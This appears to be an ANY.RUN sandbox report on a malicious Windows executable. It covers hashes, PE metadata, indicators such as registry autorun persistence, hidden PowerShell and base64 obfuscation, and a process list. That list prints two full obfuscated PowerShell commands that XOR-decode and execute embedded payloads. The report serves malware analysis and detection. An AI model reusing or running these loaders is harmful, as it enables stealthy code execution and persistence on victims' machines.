File name:

8QivM1I.exe

Full analysis: https://app.any.run/tasks/790a6ed9-9d5a-434e-92f3-b78b2357ccf8
Verdict: Malicious activity
Analysis date: May 10, 2025, 06:11:32
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto-reg
susp-powershell
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 10 sections
MD5:

D3884CC519C6855AE20D64264D5F6E93

SHA1:

B901E328769D626FF997AF4C10D058CD8D677235

SHA256:

CDFE71F5F359BE56FC6FB2B5BFA6C34042CD2E6114A82FA0C3B147106E731D6A

SSDEEP:

98304:UnmD5KynJIkx1bZunPzXpZ4NyiG3lfcFg4QHv80qLFLsFTftcGp5i5GnUrLASB/q:iLai

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 8QivM1I.exe (PID: 5352)
      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 8016)
      • Photos.exe (PID: 5072)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7440)
      • powershell.exe (PID: 4976)
      • powershell.exe (PID: 7376)
      • powershell.exe (PID: 7752)
      • powershell.exe (PID: 6540)
      • powershell.exe (PID: 616)

  • SUSPICIOUS

    • Starts NET.EXE to display or manage information about active sessions

      • 8QivM1I.exe (PID: 5352)
      • net.exe (PID: 6480)
      • 8QivM1I.exe (PID: 7308)
      • net.exe (PID: 7352)
      • Photos.exe (PID: 8016)
      • net.exe (PID: 8048)
      • Photos.exe (PID: 5072)
      • net.exe (PID: 7192)

    • Executable content was dropped or overwritten

      • 8QivM1I.exe (PID: 5352)
      • 8QivM1I.exe (PID: 7308)

    • Reads security settings of Internet Explorer

      • 8QivM1I.exe (PID: 5352)
      • Photos.exe (PID: 8016)

    • Reads the date of Windows installation

      • 8QivM1I.exe (PID: 5352)
      • Photos.exe (PID: 8016)

    • Application launched itself

      • 8QivM1I.exe (PID: 5352)
      • Photos.exe (PID: 8016)

    • BASE64 encoded PowerShell command has been detected

      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 5072)

    • Starts POWERSHELL.EXE for commands execution

      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 5072)

    • The process bypasses the loading of PowerShell profile settings

      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 5072)

    • Base64-obfuscated command line is found

      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 5072)

    • Executes script without checking the security policy

      • powershell.exe (PID: 7440)
      • powershell.exe (PID: 4976)
      • powershell.exe (PID: 7376)
      • powershell.exe (PID: 7752)
      • powershell.exe (PID: 6540)
      • powershell.exe (PID: 616)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7440)
      • powershell.exe (PID: 4976)

  • INFO

    • Checks supported languages

      • 8QivM1I.exe (PID: 5352)
      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 8016)
      • Photos.exe (PID: 5072)

    • Creates files or folders in the user directory

      • 8QivM1I.exe (PID: 5352)

    • Auto-launch of the file from Registry key

      • 8QivM1I.exe (PID: 5352)
      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 8016)
      • Photos.exe (PID: 5072)

    • Process checks computer location settings

      • 8QivM1I.exe (PID: 5352)
      • Photos.exe (PID: 8016)

    • Reads the computer name

      • 8QivM1I.exe (PID: 5352)
      • Photos.exe (PID: 8016)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7440)
      • powershell.exe (PID: 4976)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7440)
      • powershell.exe (PID: 4976)

    • Manual execution by a user

      • Photos.exe (PID: 8016)

    • Found Base64 encoded access to Windows Defender via PowerShell (YARA)

      • 8QivM1I.exe (PID: 7308)
      • Photos.exe (PID: 5072)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • 8QivM1I.exe (PID: 7308)
      • powershell.exe (PID: 7440)
      • Photos.exe (PID: 5072)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:05:08 18:06:00+00:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Large address aware, No debug
PEType: PE32+
LinkerVersion: 2.44
CodeSize: 214016
InitializedDataSize: 3863040
UninitializedDataSize: 1024
EntryPoint: 0x13d0
OSVersion: 4
ImageVersion: -
SubsystemVersion: 5.2
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
165
Monitored processes
31
Malicious processes
4
Suspicious processes
6

Behavior graph

Click at the process to see the details
start 8qivm1i.exe net.exe no specs conhost.exe no specs net1.exe no specs 8qivm1i.exe net.exe no specs conhost.exe no specs net1.exe no specs powershell.exe no specs conhost.exe no specs sppextcomobj.exe no specs slui.exe photos.exe net.exe no specs conhost.exe no specs net1.exe no specs photos.exe net.exe no specs conhost.exe no specs net1.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
616"powershell" -NoP -W Hidden -E JABjAGYAZwBfAG0AWgBWAGQASAB3AD0AIgBGAFEASQBOAFAAeABoAGwAWQBDAE0AbABGAGcAZABEAEUAVABKADAAQwB4AFkAQgBjAHoAVQBWAFoAUgBkAFQARQBXAEEAVABXAGkAbwAyAEIAegA0AEYARQBnADEAagBJAFQAawAxAFYAaABjAEEAZABHAGMAcgBDAEYANABmAEIAbgBjAHYASgBSAHMARABMAGgATQBrAFkAUwAxAEQARQBpAEkATABXAFQAeAAxAEwAegBrAFkAQQAyAHgAVwBFAHcAcwBUAEEAeABBAHgAWABWAHcATgBkAHgAVgBpAEUAMgBjAFAASAB4AEUAKwBGADAATQBzAEoAbABVAGEARQB5ADUAMgBPAGkAQQBEAEQAdwBFAFEATwBnAE4AUgBLAGcAeAB6AEEAUQBaADMARwBUAHcAYQBaAEcAZwBOAEoAagBnAHQAZQB4AGsAYwBjADEATQBXAEEAQwBjACsASgBoAGQAbwBNAGkAdABoAEsAVgBvAFMATABXAFEAWgBCAFIASQBSAEIAeABzAE0ARgB4AFEANwBHAHoAWgBSAEgAVgBkAGsARwBRAFUAUwBEAFcASQBPAEEAVwBBAFAARQB6ADQAWABYAEMAdwBtAGMAeAA0AE4ASABTAHMAbABHAHcATgBzAEQAUwBjAGIAQwAwAEEAcgBJAG0AUQBUAE8AdwAwAG8ATgBSAFEAVABIAHgAdwBUAFkAZwBOAGUATABDAEoAVgBEAFIATQBUAEYAUwBjAGoARABCADkAWABLAEEAUQBEAFEAdwBFAGkAYwBCADgAVwBCAGgARQBvAEoAdwB3AFgAQQBDAGcAVwBOAFEATQBzAEoAbgBOAFQARgBnAEIAMgBQAGkAWQB0AGEARABZAHIAUABqAEYAYQBFAFYAWgBqAEQAUQBwADIATAB5AGcAbQBFAHcAOABTAFAAagA4AEwAWABpAG8ASQBZAEIAdwA5AEUAZwBFAG4AQwB4AE0AYgBFAHoAcwBRAEUAMQB3AFMAQwBGAFkATQBCAG4AUQBSAEEAeABRAHQARwBGADgANwBFAEIATgBEAEwARABKAEsARwBRAFkAQwBkAHoAVQBiAEUAMgAwAEIATwBCAHMAUABBAHkAdABVAEMAMQBrADgARQB5ADgANgBJAFEAdwBEAFAAagBzAFgAYwBWAEUAQwBJAGcAZABiAFAAUQBJADcATgBTAEEAOQBHAHcARQBRAE8AZwBCAGQARQBqAEkASABXAEEAZAAzAEoAMgBBAGcAWgB3AGcAQgBJAGcAQQBBAFgAUwBvAEwAWgBCAGsAOQBBAGcARQBuAEMAeABNAGIARQB6AHMAYgBKAFYAawBwAE0AawBvAEcARgBnAFkAawBPAFIAdABtAEEAdwBnAHEAWQAzAEIAZABIAEEANQBlAEoAdwA0ADgAZABoAFkAZwBaAHcAOABUAEYAaABBAEEAUQBoAEoAVwBZAHcAMABTAEIAZwBJAG0ARwB3AE4AcwBEAFQAcwBRAGMARQBNAHEAVgBtAE0ATgBGAFEASQBOAFAAeABoAGwAWQBBAHcAawBGAFEATgB1AEEAegBaAHcAWABRAFkAQwBkAHoAVQBJAEgAQgBkAFQARQBXAEoANABCAFMAcwB6AFgAZwBJADgASABSAGsASwBDAHgAQgBwAEEAVABnAFUARAAxAHMAUwBWAEEAcwBrAEIAUQBCADIARwBCAFkAUgBGAHcAUQA0AEcAdwA4AEQASwAxAFEATABBAFEAeAAyAEwAMgBJAE8AUAAyAHcASwBGAHgAcwBRAFcAUQBVAG0AUgBRADAAVgBBAGcAMAAvAEcARwBWAGcASwBDAGcAVwBkAEgAdwBjAEkASAA4AGYARABuAGQANgBZAHkAQQA2AEMAQgBZAHEAQgBBAE4ARABBAFMASgB3AEgAeABZAEcARQBUAGcAbQBIAEQARQBBAEoAMgBJAEwAYgB4AGwAWABhAHcAMABQAEYAZwBFAGEARwBBAHcASQBFAGkAZABoAEQAMQBrAFMATQBtAEIAYgBQAFEASQBWAE8AUgBRAFQASAB4AHcAVABLAGcAQgBDAEgAaQBKADAARQBEADUAMABBAFQAbwBtAEUAegA0AEIATwBCAHMAUABBAHkAdABVAEMAMQBrADgARQB5ADgANgBJAFEAdwBEAFAAaQBzAFUAZABWAEUAUgBJAGcAWQBOAFAAaABJAGEATgBRAGsAWABDAHcAdwBXAEcAeQBsAFEASABWAFIANABNAHcANQAzAEcAaQBjAFQAWgBtAEIAWABFAEQAMABRAFUAUQBRAHkAVgBsAG8AVwBBAFEASQBpAEMAeAB3AHQAQQBSAEEANgBBAEYAMABSAFYAMgBnAEUAQgAzAGMATgBCAHgAYwBTAE8AZwBFAGkAQQBBAEIAZABFAFYAWgBnAFgAZwBkADAARABRAEUAVgBFAFIAYwBMAEoAUwBvAFQAVABDADAAOQBmAEEAdwBGAEEARABkAG4ASgBoAGQAcwBLAFMAZwBMAEsAUQBZAEQASQBYAE0AWgBGAGcAWQBSAE8AQwBZAGMATQBRAEEAbgBZAGcAdAB2AEcAVgBkAHIASAB3ADUAMwBlAG0ATQBnAE8AZwBnAFcASwBnAFEARABRAHcARQBpAGMAQgA4AFcAQgBoAEUAKwBJAEQAbwBEAEEAQwBoAGcARwAwAEEAcwBKAG4ATgBUAEYAZwBJAHYAUAB3AHMAWABQAGcAMAByAFkAUgB0AFkARQBGAGQAOABQAHcAbwBEAEkAQwBjAFEARQB3ADgAYwBLADIAQQBMAFIAaQBzAHQAWQBCAG8AOQBkADMAYwBpAEMAeAB3AHEAQQBUAGcAVQBEADEAcwBTAFYAQQBzAEEAQwBRAE0AQgBDAGcANAAvAEMAdwBvAFIAWQBRADkAUABLAFQAMQB3AFcAagA0AFMAZQBpAGMATABIAEcAawBCAEsAQQBRADUAVABCAEkAMgBjAEYAMABXAEIAaQBVADcATABSADAAWQBDAEQAcwBiAGMARgBFAHEARABIAEEATgBQAFMAdwBCAGEAdwBzAFQARAB4AFUAUgBZAFIAUgBSAEwAVgBkAHcASAB4AFkARwBFAFQAZwBZAE8AVAAwAEEASgBnAFEAVABlAFIAcwB3AFMAaQA0AFcAQQBYAE0AMQBDAEIATQBYAEMAeQBoAGkAZQBIAGcAUwBJAEEAYwBnAEMAdwBBAE8ATgBTAFEAWABHAHoANABUAEYAQgBkAFAARQBqAFkARABPAGcAWQBvAE0AegA0AGIAWgB3AGcAQgBGAHkAbwBBAFgAUgBBAGMAYwB4ADQAOQBLAEIAWQAxAEMAQgB3AFgAVQB4AEYAaQBlAEEAVQByAE0AMQA0AEMAUABCADAAWgBDAGcAcwBjAGEAQQBFAFEATwBnAE4AUgBLAGcAeAB3AFUAdwBZAEMAZAB6AFUAawBBAHgAcwBUAE8AeABRAHQAVwB3AEUAbQBWAFEARQBHAGQAeABrADgARwBtAFkAWABNAHkAYwBWAEkAawBZAEIATABVAFkATgBQAFMAdwBDAE8AUgB0AG0AQQB3AGcAcQBZAGkAVQBHAEsAMQBVAEgASQBRAGsAcwBBAG0AcwBMAEUAVwB3AEsARgBpAHAAdwBZAGgARgBYAFcAZwBZAEYARABSAFUAaABHAEEATQBMAE0AeQBzAEwARAAwAFEAWgBNAG4AeABhAFAAaABKADYASgB3AHMAWABhAEMAQQBYAEYAQgBkAGMATABEADEAZwBCAGgAWQBHAEoAeABZAE4ATwBDAEUAdwBFAFcARQBYAFQAeQB0AFUAUwBnAEkARgBBAG4ASQBpAEkARABnAGgASgBCAEUAYgBBADMATQBSAFAAVwBBAEMAQgB3AEEANwBKAEIAdABtAEgAeABVAHEARgBRAE4AZQBFAFYAZABHAEEAZwBWADMARgBTAGcAYQBFAFcAZwBXAEsAMgBBAEwAUQBDAHQAWABDAHcAYwA3AEIAbgBZAEsASQB3AE4AcwBEAFIAQgBnAEoAVQB3AEUAQwBYAEEARgBQAFgAWQBSAEoAQwBGAGwAWQBSADgAVwBZAFIAZABFAEwAVABKADQAQQBCAEEAUgBLAHoAcwBiAE8AagAwAEsASwBoAFEAUABYAGgARgBYAFcAZwBZAEgAQQB3AEUAOQBJAEcAYwBMAEUAQgBFAHEAZABGAG8AdABJAG0AYwBFAEIAZwBKADMATgBSAHMAVABiAFEARQA0AEYAQgBkAEQATABBAGsATABIAGoAdwB1AGQAagA0AFcAWgBEAFkAQgBJAGcAQQBBAFcAUgBwAFgAWgBGAG8AVABFAEIARQA2AEoAaABNAE0ARgBqADQANABCADEAMABTAEkARwBBAEMATwBoADAATwBQAFEAOABIAE0AaABNAGcARgBBAGMARwBFAGoAWQBIAEsAQQBVAEMARQBSAHMAZwBaAHcAOABmAEUAUwBvAG0AVABnAFkAbQBXAFIAOABPAEUAaABFADUARgBnAE0AMQBFAHgAWQBMAEUAMQBvAHIASABGAFYAYQBFAEEAWQB2AE4AUwBBADkARwB3AEUAUQBPAGcAQgBkAEUAagBJAEgAVwBBAGQAMQBkAGkASQBiAE8ARABVAHkASQBTAG8AQQBEAHcARQBnAEIAdwBZADcAUABIAEkARwBHADIAWQB4AEMAaQBnAGIARgAwAFUAUwBNAG0AQQAvAEIAaAAwAE4ASQBCAFEAYwBFAHgAWQBvAFkAUwBWAGEASwB3AHgAegBIAGcAMABDAEIAUwBJAGcASABEAEkAQgBQAGcAWQBIAEIAZwBFAG0AWQBBAFkAOQBLAHgAawAwAEkAQQB3AFQASwBTAGcARwBlAEgAMABSAEkAZwBZAE4AQgBnAEoAMwBOAFEAZwBjAEYAMQBNAFIAWQBuAGgAWgBFAFEAdABlAFAAeABZAEIAYwB6AFUAVwBPAFEAOQBWAFAAZwBVAFAAWABDAGsAaQBaAEEARQA3AEUAagBzACsARwBCAEkATABEAGgARgBoAE4AVwBjAHIAQwBGADQAZgBCAG4AYwB2AEoAUgBzAEQATABnAEUAKwBCAFIAZABNAEUAagAxADQASQBBAFUARwBBAGoAawBiAFoAZwBNAEkASwBtAE0AVABiAHgAawB5AEIAdwBJAEcARQB5AHcAMQBEAGcARQBoAEUAQwBoAGgAZQBFAE0AZQBMAFYANABkAEIAUgBZAEIARwBDAEEANgBDAHcAbwBSAFAAZwBkAGMATABDAEoAZQBXAEEAVQBXAEEAaQBZAFgATwBnADgAVABKAGgAUQBYAEIAQgBJAHkAUgBRADAATQBBAGkAOAA4AEkAeABNAFAASABCAFkAVQBBADAATQBCAEkAbgBBAGYARgBnAFkAUgBLAEMAYwBNAEYAdwBBAG8AUABTADAASABLAFIAeAB6AFUAeABZAEEAZABqADQAbQBMAFcAZwB5AEsAMgBFAHAAVwBoAEkAdABaAEIAawBGAEUAaABFAEgARwB3AHcAWABGAEMAZABoAEYAdwBZAHMASQBsADQAZgBCAFgAWQBOAEIAaABnAE0AQwBBAEUAKwBCAGcAZABGAEsAaQBJAEwAVwBRAHAAMgBFAFQAbwBoAE8AZwBzAHMASwBEAGgANABRAHgAawBJAGQARgBvADcAQQBoAFUAcgBJAHcATQBQAEgARABzAFEAYwBIAE0AcQBWAHcAZABhAEMAbgBZAFIASgBDAEUAUgBOAFEAcwBnAFkAWABoAEcASwBnAGgAVwBPAGoAMAB1AEMAVABvAG0ASABBAHMASwBFAFQANAB0AFcAaQBzAGMAYwB4ADQASwBkAGgARQA2AEkAVABvAEwAUABoAE0AVQBGADAATQBaAFAAVwBnAEMAUABoAEkANwBPAGgAcwA1AEkAUQBvADcARQBIAEIALwBLAFQASgBnAEEAUQBVAFMAZABqAFUAZwBQAFIAcwBCAEUARABvAEEAWABTAHQAVwBYAGgAQQBIAGQAeABsAG4ASgBnAE0AcQBFAHkAQQBMAEsAVgBvAFIAVgBtAFIAYQBQAGgASgA2AEoAeABRAFQATgBSAEkAbwBCAGoAbABHAEsAagBKAGUAVwBoAFkAQgBjAHoAVQBJAFoAUgBzAHoAUAB4AFUATQBXAEIARQBpAEIAZwAwAEcAQQBuAGMAMQBDAEIAdwBYAFUAeABGAGkAZQBGAHMAdABQAFcAUQBZAEUAeQA0AEYASQBTAEEAVABZAEYAVQBoAEYAQQBkAFAARQBpAE4AZwBCAGoAdwBvAGMAaQBJAGcATwBSADkAVwBLAEEAQQBBAEQAdwBFAG0AWQBBAGMARwBFAGoAcwBvAEcAQQBNAGIARQB6AHMAVQBBADAATQBCAEoAbQBBAFEATwBoADAATgBOAEIAZwA2AE4AVgBjAFQASwBuAFIAbABFAGoAMQA4AFcAZwBZAGQAQwBXAEkAUgBBADIAeABXAEsAQQBzAEwAQgBCAEUAeQBSAFEAMABQAEYAZwBJADgARgB4AEkASQBIAEQAOABXAGMAVgBnAFIASQBnAFkATgBCAGcASgAzAE4AUQBnAGMARgAxAE0AUgBZAG4AaABiAEwAVAAxAGsARwBCAE0AcABDAFQANABoAFoAdwBzAE8ARQBUADAAVABjAGkAcABXAFoAQgA4ADcAQgBnAEoAcgBDAHgAQQBJAFUAaQBzAFUAZABWAEUAUgBJAGcAWQBOAEYAUQAwAE4AWgB5AEYAbABZAEEAcwBYAEMAeABkAEUAQgBBAGwAOABXAGcAWQBkAEMAVwBJAFUAWgBqAEUASwBFAEQAZwBIAEIAQgBFAHkAWABoAGsARwBFAGcAawBoAEcAQQBjAFkAWAB6AHMAUQBFAHcAWQByAEMAMgBRAEcAQgBnAEoAMwBOAFIAcwBUAGIAUQBFADQARwB3ADgARABLADEAUQBMAEIAegBvAGQARgBTAEEATwBPAEQAMABPAEUAMgBFAFgAWQB5AHAAVQBlAEYAcwA5AEwAQQBKAHIAQwB4AGMATABWAGgARQA5AEYAMQBvAFIASQBnAFkATgBCAGcASgAzAE4AUQBnAGMARgAxAE0AUgBZAG4AaABiAEwAVAAxAGsARwBCAE0AdQBCAFMARQBnAEUAMgBCAFYASQBCAFEAWABRAGgARQB5AEIAdwBFAEsAZABoAEUANgBJAFQAbwBJAEEAUwBJAEEAQQBGADAAUwBDAEgAUQBaAFAASABjAFYATgBTAEEAOQBHAHcARQBRAE8AZwBCAGQARQBqAEkASABXAEEAZAAwAEsAeABBAFkAWgBCAGMAWABKAHoAbwBBAEQAdwBFAG0AZQB3AEUAVQBCAGgARQA0AEcARABrADkAQQBDAHQAaQBFADIAYwBlAEgAQQBjAC8AQgBoADAATgBJAEIAWQA1AEgAeABJAG8AQQBDADkAZgBKAHkAeAB6AEEAdwBZAEMAZAB6AFUAYgBFADIAMABCAEoAegA0AFgAVwBDAGsAOQBmAEYAbwBGAEgAUQBvAG0ARgAyAFkAWABDAFMAZwBFAEUAdwBjAHEASQBtAFEAQgBDAFEASQBGAEsAQwBNAHQARwBCAEkAagBCAEEAOABHAEsAVABJAEwASAB4AFkARwBFAFQAZwBZAE8AVAAwAEEASgBHAEEAVABUAEIAdwBPAFEAagAwAFcAQgBuAEkASABJAFQAawAxAEMAQwBoAGgARgAwADgAQgBKAG0AQQBHAFAAUwBzAFoATgBCAFkANQBOAFEAOABsAEIAUQA5ADYAQQBTAFkARABPAHoAdwBvAEwAeQBjAGIAWgBqAFUAUgBLAHcAUQAyAFUAUQBJAHQAZgBGADgAOABkAEgAbwA5AEcAegBvADEATQB6AHMAUQBjAEcASQBTAFAAVwBCAGEAUABoAEoAMgBQAEMARQB0AEcAQQAwAFIAWQBDADEATQBFAEYAZABvAFgAegBzAFMATQBEAFUATwBBAGcAcwBPAEUAVwBFADEAZQBSAEUAeQBBAHcAWQBXAEIAaABFACsASQBEAG8ARABBAEMAVQBXAEIAMQBnAFoAVgAwAEkANQBGAGcAWgB5AEIAeABzAE0ARgB4AFEAbgBGAEEAYwBHAEsAUwBaAHoAQQBUAHgAMgBMAHkAZwBhAFoAegAwAGUASgBRAFEASABUAGkAdwBKAFUAUQAwAFQARQBCAEUAKwBJAFcAWQBYAEgAeABNAEwAQQB3AFkAcABNAGcAcwBmAEYAZwBZAFIAUABpAEEANgBBAHcAQQBvAFkAQgB0AEEATABDAFoAegBIAGcAMABvAGUAaQBzAGIAWgBnADgAQgBFAEQAbwBEAFUAUwBvAE0AYwBGAE0APQAiADsAJABjAHQAeABfAGEAUwBHAGQAaABGAFMAPQAiAF8ARQBDAFIAQgBUAFkAZgByAFMAQQA2AEgAZQAyAGoAIgA7ACQAYwBmAGcAXwBvAEoAWABJAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYwBmAGcAXwBtAFoAVgBkAEgAdwApADsAIAAkAGQAYQB0AGEAXwBZAE8AbABjAD0AIgAiADsAIABmAG8AcgAoACQAYwB0AHgAXwBEAFoAbgBWAD0AMAA7ACAAJABjAHQAeABfAEQAWgBuAFYAIAAtAGwAdAAgACQAYwBmAGcAXwBvAEoAWABJAHQALgBMAGUAbgBnAHQAaAA7ACAAJABjAHQAeABfAEQAWgBuAFYAKwArACkAIAB7ACAAJABkAGEAdABhAF8AWQBPAGwAYwArAD0AWwBjAGgAYQByAF0AKABjAGYAZwBfAG8ASgBYAEkAdABbACQAYwB0AHgAXwBEAFoAbgBWAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdAGMAdAB4AF8AYQBTAEcAZABoAEYAUwBbACQAYwB0AHgAXwBEAFoAbgBWACUAYwB0AHgAXwBhAFMARwBkAGgARgBTAC4ATABlAG4AZwB0AGgAXQApADsAIAB9ADsAIAAkAGMAbQBkAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGQAYQB0AGEAXwBZAE8AbABjACkAKQA7ACAAJABjAGYAZwBfAEQAUQBwAGEAcwA9AFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAJABjAG0AZAApADsAIAAmACAAJABjAGYAZwBfAEQAUQBwAGEAcwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Photos.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
896C:\WINDOWS\system32\net1 sessionC:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Net Command
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\samcli.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
1616\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2320\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4180C:\WINDOWS\system32\net1 sessionC:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\samcli.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\srvcli.dll
4976"powershell" -NoP -W Hidden -E JABkAGEAdABhAF8AdABCAEEARwBtAHEATgA9ACIAWQBHAFEAagBHAHoAVgBBAEMAVABvAFgAUABRAEkAUQBhADMARQB2AEwAbABZAHUATQB3AFEAMABIAFQAdwBpAEkAUgBzAEcAQwBXAGcAVQBBAFMAZAA4AEYARQBBAHgATgBVAE0AOABmAHkAQQBpAEgAaABOAFcAQgBnAEUAawBWAG0AUQBnAEYAQgB4AFgAYQBRAG8AZwBSADMAawBTAGEAeABSAE0AUAAzAHcAUwBOAHgAZwBNAGIAVwBrAEEASQBUAE0ASwBIADIAZwBVAEkAegBoAFcATwBpAGMARwBEAHgAdwBOAEsAUQA0AGcASABsAEoAcgBjAFEARgBsAFYAbQBVAGQAQgBUAFIAQwBHAGkAWQBtAE0AaQA4AEIAZQBEAG8AZABFAEgAbwA3AEMAUwBVADEASABBADQAMwBJAFUAUQB3AEQAbQBnAEUAUwBDAFIAWABQAGgASQBkAEgARgBjAFoATwBoAFEAWQBIAGgAOQByAEsAagBzAEgAVQBRAEIARQBNAFQAVgBYAEcAVABvAFUAUgB5AFEAVABhAEEAUgBBAFoAMgBCAGsASQAwAFkAMABhAFEAMABwAEUAVABJAGsARABXAGcARQBMAHkARQA9ACIAOwAkAGMAZgBnAF8AdABWAHoASgBMAD0AIgA1AFcAcQBzAFYALgBYAE4AQgB1AEgAZgAyAEMAeQBUACIAOwAkAGQAYQB0AGEAXwBCAEoARQBuAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGQAYQB0AGEAXwB0AEIAQQBHAG0AcQBOACkAOwAgACQAYwB0AHgAXwByAFQAVwBjAG8AQwBTAD0AIgAiADsAIABmAG8AcgAoACQAZABhAHQAYQBfAEkAbQBFAGkAPQAwADsAIAAkAGQAYQB0AGEAXwBJAG0ARQBpACAALQBsAHQAIAAkAGQAYQB0AGEAXwBCAEoARQBuAC4ATABlAG4AZwB0AGgAOwAgACQAZABhAHQAYQBfAEkAbQBFAGkAKwArACkAIAB7ACAAJABjAHQAeABfAHIAVABXAGMAbwBDAFMAKwA9AFsAYwBoAGEAcgBdACgAZABhAHQAYQBfAEIASgBFAG4AWwAkAGQAYQB0AGEAXwBJAG0ARQBpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdAGMAZgBnAF8AdABWAHoASgBMAFsAJABkAGEAdABhAF8ASQBtAEUAaQAlAGMAZgBnAF8AdABWAHoASgBMAC4ATABlAG4AZwB0AGgAXQApADsAIAB9ADsAIAAkAGMAbQBkAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGMAdAB4AF8AcgBUAFcAYwBvAEMAUwApACkAOwAgACQAYwBmAGcAXwBLAGEASQBaAD0AWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAkAGMAbQBkACkAOwAgACYAIAAkAGMAZgBnAF8ASwBhAEkAWgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Photos.exe
User:
admin
Company:
